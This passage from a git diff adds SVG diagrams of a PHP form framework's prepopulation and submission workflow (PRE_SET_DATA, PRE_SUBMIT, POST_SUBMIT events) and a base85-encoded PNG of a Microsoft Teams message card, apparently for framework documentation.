0-6 2.687-6 6zM605.309 181.516h6c0-3.313-2.684-6-6-6zM191.309 181.516h420v28h-420zM197.309 209.516h-6c0 3.312 2.687 6 6 6zM605.309 209.516v6c3.316 0 6-2.688 6-6zm0 0"/><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#4d4d4d;stroke-opacity:1;stroke-miterlimit:10" d="M34.01 24.24h20.4M34.01 26.24h20.4M34.01 24.24a.3.3 0 0 0-.3.3M54.71 24.54a.3.3 0 0 0-.3-.3M33.71 24.54v1.4M54.71 24.54v1.4M33.71 25.94a.3.3 0 0 0 .3.3M54.41 26.24a.3.3 0 0 0 .3-.3" transform="matrix(20 0 0 20 -482.88 -309.276)"/><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M190.809 219.934H413.91v21.25H190.81zm0 0"/><g style="fill:#4d4d4d;fill-opacity:1"><use xlink:href="#S" x="190.809" y="236.184"/><use xlink:href="#O" x="199.324" y="236.184"/><use xlink:href="#C" x="207.156" y="236.184"/><use xlink:href="#z" x="214.363" y="236.184"/><use xlink:href="#y" x="219.734" y="236.184"/><use xlink:href="#N" x="224.676" y="236.184"/><use xlink:href="#A" x="236.395" y="236.184"/><use xlink:href="#P" x="243.836" y="236.184"/><use xlink:href="#y" x="251.746" y="236.184"/><use xlink:href="#F" x="256.688" y="236.184"/><use xlink:href="#B" x="258.426" y="236.184"/><use xlink:href="#E" x="262.234" y="236.184"/><use xlink:href="#T" x="268.309" y="236.184"/><use xlink:href="#U" x="276.121" y="236.184"/><use xlink:href="#y" x="280.027" y="236.184"/><use xlink:href="#A" x="284.852" y="236.184"/><use xlink:href="#F" x="292.293" y="236.184"/><use xlink:href="#B" x="294.031" y="236.184"/><use xlink:href="#T" x="297.84" y="236.184"/><use xlink:href="#P" x="305.652" y="236.184"/><use xlink:href="#U" x="313.563" y="236.184"/><use xlink:href="#y" x="317.469" y="236.184"/><use xlink:href="#F" x="322.41" y="236.184"/><use xlink:href="#B" x="324.148" y="236.184"/><use xlink:href="#J" x="327.957" y="236.184"/><use xlink:href="#T" x="335.77" y="236.184"/><use xlink:href="#U" x="343.582" y="236.184"/><use xlink:href="#V" x="347.488" y="236.184"/><use xlink:href="#D" x="351.688" y="236.184"/><use xlink:href="#U" x="359.48" y="236.184"/><use xlink:href="#P" x="363.387" y="236.184"/><use xlink:href="#W" x="371.297" y="236.184"/><use xlink:href="#F" x="379.07" y="236.184"/><use xlink:href="#B" x="380.809" y="236.184"/><use xlink:href="#X" x="384.617" y="236.184"/><use xlink:href="#K" x="393.055" y="236.184"/><use xlink:href="#K" x="400.828" y="236.184"/><use xlink:href="#z" x="408.602" y="236.184"/></g><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M148.91 268.29h27.399v23.85H148.91zm0 0"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#Y" x="149.238" y="286.539"/><use xlink:href="#u" x="158.379" y="286.539"/><use xlink:href="#Z" x="162.871" y="286.539"/><use xlink:href="#aa" x="168.301" y="286.539"/></g><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M197.309 259.016h188v40h-188zm0 0"/><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M197.309 265.016v-6c-3.313 0-6 2.687-6 6zM385.309 265.016h6c0-3.313-2.684-6-6-6zM191.309 265.016h200v28h-200zM197.309 293.016h-6c0 3.312 2.687 6 6 6zM385.309 293.016v6c3.316 0 6-2.688 6-6zm0 0"/><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#4d4d4d;stroke-opacity:1;stroke-miterlimit:10" d="M34.01 28.415h9.4M34.01 30.415h9.4M34.01 28.415a.3.3 0 0 0-.3.3M43.71 28.715a.3.3 0 0 0-.3-.3M33.71 28.715v1.4M43.71 28.715v1.4M33.71 30.115a.3.3 0 0 0 .3.3M43.41 30.415a.3.3 0 0 0 .3-.3" transform="matrix(20 0 0 20 -482.88 -309.276)"/><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M113.96 339.52h62.353v23.851H113.96zm0 0"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#ab" x="114.883" y="357.77"/><use xlink:href="#ac" x="123.789" y="357.77"/><use xlink:href="#ad" x="128.555" y="357.77"/><use xlink:href="#s" x="137.461" y="357.77"/><use xlink:href="#Y" x="141.348" y="357.77"/><use xlink:href="#ae" x="149.941" y="357.77"/><use xlink:href="#o" x="158.848" y="357.77"/><use xlink:href="#q" x="167.754" y="357.77"/></g><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M197.309 330.242h108v40h-108zm0 0"/><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M197.309 336.242v-6c-3.313 0-6 2.688-6 6zM305.309 336.242h6c0-3.312-2.684-6-6-6zM191.309 336.242h120v28h-120zM197.309 364.242h-6c0 3.317 2.687 6 6 6zM305.309 364.242v6c3.316 0 6-2.683 6-6zm0 0"/><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#4d4d4d;stroke-opacity:1;stroke-miterlimit:10" d="M34.01 31.976h5.4M34.01 33.976h5.4M34.01 31.976a.3.3 0 0 0-.3.3M39.71 32.276a.3.3 0 0 0-.3-.3M33.71 32.276v1.4M39.71 32.276v1.4M33.71 33.676a.3.3 0 0 0 .3.3M39.41 33.976a.3.3 0 0 0 .3-.3" transform="matrix(20 0 0 20 -482.88 -309.276)"/><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M477.309 259.016h128v40h-128zm0 0"/><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M477.309 265.016v-6c-3.313 0-6 2.687-6 6zM605.309 265.016h6c0-3.313-2.684-6-6-6zM471.309 265.016h140v28h-140zM477.309 293.016h-6c0 3.312 2.687 6 6 6zM605.309 293.016v6c3.316 0 6-2.688 6-6zm0 0"/><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#4d4d4d;stroke-opacity:1;stroke-miterlimit:10" d="M48.01 28.415h6.4M48.01 30.415h6.4M48.01 28.415a.3.3 0 0 0-.3.3M54.71 28.715a.3.3 0 0 0-.3-.3M47.71 28.715v1.4M54.71 28.715v1.4M47.71 30.115a.3.3 0 0 0 .3.3M54.41 30.415a.3.3 0 0 0 .3-.3" transform="matrix(20 0 0 20 -482.88 -309.276)"/><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M422.512 268.29h37.8v23.85h-37.8zm0 0"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#af" x="423.063" y="286.539"/><use xlink:href="#Z" x="431.852" y="286.539"/><use xlink:href="#ag" x="437.672" y="286.539"/><use xlink:href="#Z" x="445.934" y="286.539"/><use xlink:href="#q" x="451.754" y="286.539"/></g></svg>
diff --git a/_images/form/form_prepopulation_workflow.svg b/_images/form/form_prepopulation_workflow.svg
new file mode 100644
index 00000000000..1db13f94c72
--- /dev/null
+++ b/_images/form/form_prepopulation_workflow.svg
@@ -0,0 +1,54 @@
+<svg width="700" viewBox="918 1177 943 167" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
+  <g id="prepopulation">
+    <g>
+      <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="920" y="1280" width="160" height="63.7055" rx="6" ry="6"/>
+      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1000" y="1319.84">
+        <tspan x="1000" y="1319.84">New form</tspan>
+      </text>
+    </g>
+    <g>
+      <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="1700" y="1280" width="160" height="63.7055" rx="6" ry="6"/>
+      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1780" y="1319.84">
+        <tspan x="1780" y="1319.84">Prepopulated form</tspan>
+      </text>
+    </g>
+    <g>
+      <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="1080" y1="1311.85" x2="1689" y2="1311.85"/>
+      <polygon style="fill: #000000; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" points="1689,1316.85 1699,1311.85 1689,1306.85 "/>
+    </g>
+    <g>
+      <path style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" d="M 1106.67 1180 L 1213.33,1180 C 1228.06,1180 1240,1190.5 1240,1203.45 C 1240,1216.4 1228.06,1226.9 1213.33,1226.9 L 1106.67,1226.9 C 1091.94,1226.9 1080,1216.4 1080,1203.45 C 1080,1190.5 1091.94,1180 1106.67,1180z"/>
+      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1160" y="1211.43">
+        <tspan x="1160" y="1211.43">Model data</tspan>
+      </text>
+    </g>
+    <g>
+      <rect style="fill: #fddfbb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="1480" y="1280" width="140" height="63.7055" rx="6" ry="6"/>
+      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1550" y="1319.84">
+        <tspan x="1550" y="1319.84">POST_SET_DATA</tspan>
+      </text>
+    </g>
+    <g>
+      <rect style="fill: #fddfbb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="1200" y="1280" width="145.381" height="63.7055" rx="6" ry="6"/>
+      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1272.69" y="1319.84">
+        <tspan x="1272.69" y="1319.84">PRE_SET_DATA</tspan>
+      </text>
+    </g>
+    <g>
+      <rect style="fill: #ffffff; fill-opacity: 1; stroke: none" x="1088.7" y="1314.61" width="102.6" height="23.3724"/>
+      <text font-size="18.0622" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1140" y="1333">
+        <tspan xml:space="preserve" x="1140" y="1333">  setData($data) </tspan>
+      </text>
+    </g>
+    <g>
+      <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #000000" x1="1160" y1="1226.9" x2="1160" y2="1300.85"/>
+      <polygon style="fill: #000000; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" points="1155,1300.85 1160,1310.85 1165,1300.85 "/>
+    </g>
+    <g>
+      <rect style="fill: #ffffff; fill-opacity: 1; stroke: none" x="1366.97" y="1285.47" width="86.05" height="23.3724"/>
+      <text font-size="18.0622" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1410" y="1303.85">
+        <tspan x="1410" y="1303.85">normalization</tspan>
+      </text>
+    </g>
+  </g>
+</svg>
diff --git a/_images/form/form_submission_workflow.svg b/_images/form/form_submission_workflow.svg
new file mode 100644
index 00000000000..b58e11190a1
--- /dev/null
+++ b/_images/form/form_submission_workflow.svg
@@ -0,0 +1,76 @@
+<svg width="400" viewBox="977 1538 524 566" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
+  <g id="submission">
+    <g>
+      <rect style="fill: #ffffff; fill-opacity: 1; stroke: none" x="1300" y="1901.61" width="109" height="23.3724"/>
+      <text font-size="18.0622" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:start;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1300" y="1920">
+        <tspan xml:space="preserve" x="1300" y="1920">  denormalization</tspan>
+      </text>
+    </g>
+    <g>
+      <rect style="fill: #ffffff; fill-opacity: 1; stroke: none" x="1300" y="1781.61" width="93.75" height="23.3724"/>
+      <text font-size="18.0622" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:start;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1300" y="1800">
+        <tspan xml:space="preserve" x="1300" y="1800">  normalization</tspan>
+      </text>
+    </g>
+    <g>
+      <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="1100" y="1540" width="160" height="63.7055" rx="6" ry="6"/>
+      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1180" y="1579.84">
+        <tspan x="1180" y="1579.84">New form</tspan>
+      </text>
+    </g>
+    <g>
+      <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="1340" y="1540" width="160" height="63.7055" rx="6" ry="6"/>
+      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1420" y="1579.84">
+        <tspan x="1420" y="1579.84">Prepopulated form</tspan>
+      </text>
+    </g>
+    <g>
+      <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="1220" y="2040" width="160" height="63.7055" rx="6" ry="6"/>
+      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1300" y="2079.84">
+        <tspan x="1300" y="2079.84">Submitted form</tspan>
+      </text>
+    </g>
+    <g>
+      <polyline style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" points="1180,1603.71 1180,1640 1300,1640 1300,2028 "/>
+      <polygon style="fill: #000000; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" points="1295,2028 1300,2038 1305,2028 "/>
+    </g>
+    <g>
+      <polyline style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" points="1420,1603.71 1420,1640 1300,1640 1300,2029 "/>
+      <polygon style="fill: #000000; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" points="1295,2029 1300,2039 1305,2029 "/>
+    </g>
+    <g>
+      <path style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" d="M 1004.16 1645 L 1100.81,1645 C 1114.16,1645 1124.98,1655.5 1124.98,1668.45 C 1124.98,1681.4 1114.16,1691.9 1100.81,1691.9 L 1004.16,1691.9 C 990.818,1691.9 980,1681.4 980,1668.45 C 980,1655.5 990.818,1645 1004.16,1645z"/>
+      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1052.49" y="1676.43">
+        <tspan x="1052.49" y="1676.43">Request data</tspan>
+      </text>
+    </g>
+    <g>
+      <rect style="fill: #ffffff; fill-opacity: 1; stroke: none" x="1220" y="1613.61" width="158.75" height="23.3724"/>
+      <text font-size="18.0622" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:start;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1220" y="1632">
+        <tspan x="1220" y="1632">handleRequest($request) </tspan>
+      </text>
+    </g>
+    <g>
+      <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #000000" x1="1124.98" y1="1668.45" x2="1286" y2="1669.67"/>
+      <polygon style="fill: #000000; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" points="1285.96,1674.67 1296,1669.74 1286.04,1664.67 "/>
+    </g>
+    <g>
+      <rect style="fill: #fddfbb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="1240" y="1700" width="120" height="63.7055" rx="6" ry="6"/>
+      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1300" y="1739.84">
+        <tspan x="1300" y="1739.84">PRE_SUBMIT</tspan>
+      </text>
+    </g>
+    <g>
+      <rect style="fill: #fddfbb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="1240" y="1820" width="120" height="63.7055" rx="6" ry="6"/>
+      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1300" y="1859.84">
+        <tspan x="1300" y="1859.84">SUBMIT</tspan>
+      </text>
+    </g>
+    <g>
+      <rect style="fill: #fddfbb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="1240" y="1940" width="120" height="63.7055" rx="6" ry="6"/>
+      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1300" y="1979.84">
+        <tspan x="1300" y="1979.84">POST_SUBMIT</tspan>
+      </text>
+    </g>
+  </g>
+</svg>
diff --git a/_images/form/form_workflow.svg b/_images/form/form_workflow.svg
new file mode 100644
index 00000000000..a256c2073ef
--- /dev/null
+++ b/_images/form/form_workflow.svg
@@ -0,0 +1,66 @@
+<svg width="400" viewBox="1357 517 524 407" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
+  <g id="global workflow">
+    <g>
+      <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="1480" y="620" width="160" height="63.7055" rx="6" ry="6"/>
+      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1560" y="659.838">
+        <tspan x="1560" y="659.838">New form</tspan>
+      </text>
+    </g>
+    <g>
+      <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="1720" y="620" width="160" height="63.7055" rx="6" ry="6"/>
+      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1800" y="659.838">
+        <tspan x="1800" y="659.838">Prepopulated form</tspan>
+      </text>
+    </g>
+    <g>
+      <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="1600" y="860" width="160" height="63.7055" rx="6" ry="6"/>
+      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1680" y="899.838">
+        <tspan x="1680" y="899.838">Submitted form</tspan>
+      </text>
+    </g>
+    <g>
+      <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="1640" y1="651.853" x2="1709" y2="651.853"/>
+      <polygon style="fill: #000000; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" points="1709,656.853 1719,651.853 1709,646.853 "/>
+    </g>
+    <g>
+      <polyline style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" points="1560,683.706 1560,740 1680,740 1680,847.996 "/>
+      <polygon style="fill: #000000; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" points="1675,847.996 1680,857.996 1685,847.996 "/>
+    </g>
+    <g>
+      <polyline style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" points="1800,683.706 1800,740 1680,740 1680,849 "/>
+      <polygon style="fill: #000000; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" points="1675,849 1680,859 1685,849 "/>
+    </g>
+    <g>
+      <path style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" d="M 1626.67 520 L 1733.33,520 C 1748.06,520 1760,530.499 1760,543.449 C 1760,556.4 1748.06,566.898 1733.33,566.898 L 1626.67,566.898 C 1611.94,566.898 1600,556.4 1600,543.449 C 1600,530.499 1611.94,520 1626.67,520z"/>
+      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1680" y="551.435">
+        <tspan x="1680" y="551.435">Model data</tspan>
+      </text>
+    </g>
+    <g>
+      <path style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" d="M 1384.16 780 L 1480.81,780 C 1494.16,780 1504.98,790.499 1504.98,803.449 C 1504.98,816.4 1494.16,826.898 1480.81,826.898 L 1384.16,826.898 C 1370.82,826.898 1360,816.4 1360,803.449 C 1360,790.499 1370.82,780 1384.16,780z"/>
+      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1432.49" y="811.435">
+        <tspan x="1432.49" y="811.435">Request data</tspan>
+      </text>
+    </g>
+    <g>
+      <rect style="fill: #ffffff; fill-opacity: 1; stroke: none" x="1680" y="581.613" width="102.6" height="23.3724"/>
+      <text font-size="18.0622" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:start;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1680" y="600">
+        <tspan xml:space="preserve" x="1680" y="600">  setData($data) </tspan>
+      </text>
+    </g>
+    <g>
+      <rect style="fill: #ffffff; fill-opacity: 1; stroke: none" x="1510" y="776.613" width="158.75" height="23.3724"/>
+      <text font-size="18.0622" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:start;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1510" y="795">
+        <tspan x="1510" y="795">handleRequest($request) </tspan>
+      </text>
+    </g>
+    <g>
+      <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #000000" x1="1504.98" y1="803.449" x2="1666" y2="804.667"/>
+      <polygon style="fill: #000000; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" points="1665.96,809.667 1676,804.742 1666.04,799.667 "/>
+    </g>
+    <g>
+      <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #000000" x1="1680" y1="566.898" x2="1680" y2="640.853"/>
+      <polygon style="fill: #000000; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" points="1675,640.853 1680,650.853 1685,640.853 "/>
+    </g>
+  </g>
+</svg>
diff --git a/_images/notifier/microsoft_teams/message-card.png b/_images/notifier/microsoft_teams/message-card.png
new file mode 100644
index 0000000000000000000000000000000000000000..05f505fb3e0960e55017eb437049946e834002fe
GIT binary patch
literal 27738
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
